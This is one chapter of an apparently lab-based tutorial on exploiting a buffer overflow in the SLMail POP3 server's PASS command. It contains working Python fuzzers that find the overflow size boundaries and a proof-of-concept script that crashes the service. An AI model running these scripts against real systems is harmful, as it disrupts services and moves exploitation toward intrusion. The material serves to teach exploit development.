« prev :: next »


If our aim is to gain access to the system, then simply triggering the Buffer Overflow isn't going to cut it. We need to learn as much as possible about the overflow if we intend to turn it into something useful.


Honey, I Shrunk the Payload

First, let's examine our understanding of the overflow so far. We know that a 2816-byte payload will overflow the buffer, but a 2560-byte payload won't, because the fuzzer worked upwards from 256 in increments of 256 and overflowed on 2816. Perhaps we can discover the high and low boundaries of the overflow?

I'll start by seeking the smallest overflow payload. To do this, I will work from 2816, subtracting ever-smaller numbers until I find the smallest payload that overflows the buffer. The “divide and conquer” method is the best approach to solving this problem. The methodology is fairly simple. We know that the Lower Overflow Boundary (LOB) is between 2560 and 2816, which is a range of 256 characters:

LOB Range: 2560 [#################################] 2816

We'll divide that range in half, testing at the midpoint:

                                2688
LOB Range: 2560 [################|________________] 2816

If the test causes an overflow, then we know that the LOB is in the lower half. Otherwise, it's in the top half. We redefine our range, divide it in half again, test again, then continue redefining, dividing, and testing until we find the smallest possible overflow buffer. (This is the reason why I used increments of 256; as an exponent of 2, 256 can be halved repeatedly all the way down to 1.)

We could do this manually, adjusting the script after every run, but it will be faster to create another fuzzer, called slmail_bof_3.py:

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Seeking the LOB."""

import socket

# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 10

# Exploit details.
PAYLOAD_LENGTH = 2816
PAYLOAD_MODIFIER = 256


def test_payload(payload):
    """Send the specified payload to the target to check for overflow."""
    overflowed = False
    print(f"[*] Testing {len(payload)}-byte payload... ", end="", flush=True)
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(SOCKET_TIMEOUT)
        sock.connect((TARGET_ADDR, TARGET_PORT))
        sock.recv(1024)
        sock.send(b"USER root\r\n")
        sock.recv(1024)
        sock.send(b"PASS " + payload + b"\r\n")
        if not sock.recv(1024):
            overflowed = True
        else:
            print("No overflow.")
        sock.send(b"QUIT\r\n")
    except (socket.timeout, ConnectionResetError, ConnectionRefusedError):
        overflowed = True
    finally:
        sock.close()
    if overflowed:
        input("Overflow triggered! (press Enter to continue)")
    return overflowed

def seek_lob(payload_length, payload_modifier):
    """Recursively seek the LOB."""
    total_payload = payload_length - payload_modifier
    overflowed = test_payload(b"\x42" * total_payload)

    if overflowed and payload_modifier == PAYLOAD_MODIFIER:
        # LOB is <= the lower tested boundary.
        return total_payload

    if payload_modifier == 1:
        # Final test.
        if overflowed:
            return total_payload
        return payload_length

    # Recurse.
    payload_length -= payload_modifier if overflowed else 0
    payload_modifier = payload_modifier // 2
    return seek_lob(payload_length, payload_modifier)


print("[*] SLMail BoF PoC LOB Fuzzer")
print("[!] Please restart SLMail after every overflow, then press Enter.")
print("[*] Fuzzing...")
LOB = seek_lob(PAYLOAD_LENGTH, PAYLOAD_MODIFIER)
print(f"[*] LOB discovered at {LOB} bytes!")

After restarting SLMail, I run the script. Every time the overflow is triggered, I restart SLMail then hit Enter:

root@haxys:~/ShareDrive/BoF-SLMail# ./slmail_bof_3.py
[*] SLMail BoF PoC LOB Fuzzer
[!] Please restart SLMail after every overflow, then press Enter.
[*] Fuzzing...
[*] Testing 2560-byte payload... No overflow.
[*] Testing 2688-byte payload... Overflow triggered! (press Enter to continue)
[*] Testing 2624-byte payload... Overflow triggered! (press Enter to continue)
[*] Testing 2592-byte payload... Overflow triggered! (press Enter to continue)
[*] Testing 2576-byte payload... No overflow.
[*] Testing 2584-byte payload... No overflow.
[*] Testing 2588-byte payload... No overflow.
[*] Testing 2590-byte payload... Overflow triggered! (press Enter to continue)
[*] Testing 2589-byte payload... No overflow.
[*] LOB discovered at 2590 bytes!

Excellent! The script revealed the LOB to be 2590 bytes.


Pushing Boundaries

Now that we know the LOB, let's see if we can find the Upper Overflow Boundary (UOB). Our exploit must, by its very nature, include a payload that exceeds the target's buffer length. However, there are some cases where an upper overflow boundary exists; a payload with a length exceeding the UOB would fail to trigger the overflow. Therefore, the UOB must be established, if it exists, so that we can determine the maximum payload size.

Note: In some systems, even if there isn't a UOB, there can still be a maximum buffer length. For example, sending a 2000-byte buffer to a system with a maximum buffer length of 1280 bytes would result in the buffer being truncated and the last 720 bytes being lost. We'll learn more about this later.

As with the LOB, we'll want to write a fuzzer to find the UOB. This will be a little more complicated than the LOB fuzzer, however. When seeking the LOB, we knew the range in which we'd be searching. We knew that the LOB was greater than 2560 and lesser than 2816. We don't have such a range for the UOB. We know that the UOB is greater than (or equal to) 2816, but we don't know if there's an upper range limit. Therefore, to seek the UOB, we'll use a two-stage fuzzing process. The first stage will seek out an upper range limit, testing ever-larger payloads until a payload fails to trigger a BoF. If it reaches a certain value without finding the upper range limit, then we'll assume that there is no UOB, and we'll set an artificial limit. If the upper range limit is discovered, then we will move on to the second stage, using the same divide-and-conquer methodology we used to find the LOB. As always, I'll pause after each overflow to give myself time to restart SLMail.

Here's the first-stage script, saved as slmail_bof_4.py:

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Seeking the UOB upper range limit."""

import socket

# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 15

# Exploit details.
MINIMUM_PAYLOAD = 2590
PAYLOAD_MODIFIER = 256


def test_payload(payload):
    """Send the specified payload to the target to check for overflow."""
    overflowed = False
    print(f"[-] Testing {len(payload)}-byte payload... ", end="", flush=True)
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(SOCKET_TIMEOUT)
        sock.connect((TARGET_ADDR, TARGET_PORT))
        sock.recv(1024)
        sock.send(b"USER root\r\n")
        sock.recv(1024)
        sock.send(b"PASS " + payload + b"\r\n")
        if not sock.recv(1024):
            overflowed = True
        else:
            print("No overflow.")
        sock.send(b"QUIT\r\n")
    except (socket.timeout, ConnectionResetError, ConnectionRefusedError):
        overflowed = True
    finally:
        sock.close()
    if overflowed:
        input("Overflow triggered! (press Enter to continue)")
    return overflowed


def seek_upper_range_limit():
    """Scan for the UOB upper range limit, if it exists."""
    payload_length = int(MINIMUM_PAYLOAD)
    while (
            test_payload(b"\x42" * payload_length)
            and payload_length < MINIMUM_PAYLOAD + 2048
    ):
        payload_length += PAYLOAD_MODIFIER
    return payload_length


print("[*] SLMail BoF PoC UOB Upper Range Limit Fuzzer")
print("[!] Please restart SLMail after every overflow, then press Enter.")
print("[*] Seeking upper range limit...")
LOWER_RANGE_LIMIT = seek_upper_range_limit() - PAYLOAD_MODIFIER
print(f"[*] UOB upper range limit: {LOWER_RANGE_LIMIT + PAYLOAD_MODIFIER}")

I ensure that SLMail is running properly, then execute the script:

root@haxys:~/ShareDrive/BoF-SLMail# ./slmail_bof_4.py
[*] SLMail BoF PoC UOB Upper Range Limit Fuzzer
[!] Please restart SLMail after every overflow, then press Enter.
[*] Seeking upper range limit...
[-] Testing 2590-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 2846-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 3102-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 3358-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 3614-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 3870-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 4126-byte payload... No overflow.
[*] UOB upper range limit: 4126

Nice! Now that we have the upper range limit, we can craft our second-stage fuzzer, slmail_bof_5.py. While the source is quite similar to the LOB fuzzer, I kept encountering a false-positive during testing, always at 4090 bytes, which would time-out without receiving a reply from the server. So I added a query which, upon exception, asks if the overflow was successful. Here's the code:

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Seeking the UOB."""

import socket

# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 15

# Exploit details.
MINIMUM_PAYLOAD = 2590
PAYLOAD_MODIFIER = 256

# UOB details.
UPPER_RANGE_LIMIT = 4126


def test_payload(payload):
    """Send the specified payload to the target to check for overflow."""
    overflowed = False
    print(f"[-] Testing {len(payload)}-byte payload... ", end="", flush=True)
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(SOCKET_TIMEOUT)
        sock.connect((TARGET_ADDR, TARGET_PORT))
        sock.recv(1024)
        sock.send(b"USER root\r\n")
        sock.recv(1024)
        sock.send(b"PASS " + payload + b"\r\n")
        if not sock.recv(1024):
            overflowed = True
        else:
            print("No overflow.")
        sock.send(b"QUIT\r\n")
    except (socket.timeout, ConnectionResetError, ConnectionRefusedError):
        overflowed = input("Was the overflow triggered? ").lower()[0] == "y"
    finally:
        sock.close()
    if overflowed:
        input("Overflow triggered! (press Enter to continue)")
    return overflowed


def seek_uob(payload_length, payload_modifier):
    """Recursively seek the UOB."""
    total_payload = payload_length + payload_modifier
    overflowed = test_payload(b"\x42" * total_payload)

    if overflowed and payload_modifier == PAYLOAD_MODIFIER:
        # UOB is >= the upper tested boundary.
        return total_payload

    if payload_modifier == 1:
        # Final test.
        if overflowed:
            return total_payload
        return payload_length

    # Recurse.
    payload_length += payload_modifier if overflowed else 0
    payload_modifier = payload_modifier // 2
    return seek_uob(payload_length, payload_modifier)


print("[*] SLMail BoF PoC UOB Fuzzer")
print("[!] Please restart SLMail after every overflow, then press Enter.")
print("[*] Seeking UOB...")
UOB = seek_uob(UPPER_RANGE_LIMIT - PAYLOAD_MODIFIER, PAYLOAD_MODIFIER)
print(f"[*] UOB discovered at {UOB} bytes!")

Ensuring that SLMail is running, I execute the script:

root@haxys:~/ShareDrive/BoF-SLMail# ./slmail_bof_5.py
[*] SLMail BoF PoC UOB Fuzzer
[!] Please restart SLMail after every overflow, then press Enter.
[*] Seeking UOB...
[-] Testing 4126-byte payload... No overflow.
[-] Testing 3998-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 4062-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 4094-byte payload... No overflow.
[-] Testing 4078-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 4086-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 4090-byte payload... Was the overflow triggered? N
[-] Testing 4088-byte payload... Overflow triggered! (press Enter to continue)
[-] Testing 4089-byte payload... Overflow triggered! (press Enter to continue)
[*] UOB discovered at 4089 bytes!

Excellent! Now we know the UOB. I copy slmail_bof_2.py into slmail_bof_6.py, then update the script with the new information:

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Proof of Overflow."""

import socket

# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 10

# Exploit details.
# Lower Overflow Boundary: 2590 bytes
# Upper Overflow Boundary: 4089 bytes
MAXIMUM_PAYLOAD = 4089

PAYLOAD = b"\x42" * MAXIMUM_PAYLOAD  # "B"
OVERFLOW = False
try:
    print("[*] Connecting...")
    SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    SOCKET.settimeout(SOCKET_TIMEOUT)
    SOCKET.connect((TARGET_ADDR, TARGET_PORT))
    SOCKET.recv(1024)
    SOCKET.send(b"USER test\r\n")
    SOCKET.recv(1024)
    print("[<] Sending payload...")
    SOCKET.send(b"PASS " + PAYLOAD + b"\r\n")
    OVERFLOW = not SOCKET.recv(1024)
    SOCKET.send(b"QUIT\r\n")
except (socket.timeout, ConnectionResetError):
    OVERFLOW = True
except ConnectionRefusedError:
    print("[!] Connection refused. Is the server running?")
finally:
    SOCKET.close()

print("[!] BoF Success!" if OVERFLOW else "[!] BoF Failed.")

Just to confirm that it works, I make sure SLMail is running normally, then run the script:

root@haxys:~/ShareDrive/BoF-SLMail# ./slmail_bof_6.py
[*] Connecting...
[<] Sending payload...
[!] BoF Success!

Perfect!


Grab Your Hard-Hat

In this section, we established some size boundaries for our overflow payload. In the next section, we'll excavate the area, searching for valuable clues that will guide us towards a working exploit.


« prev :: next »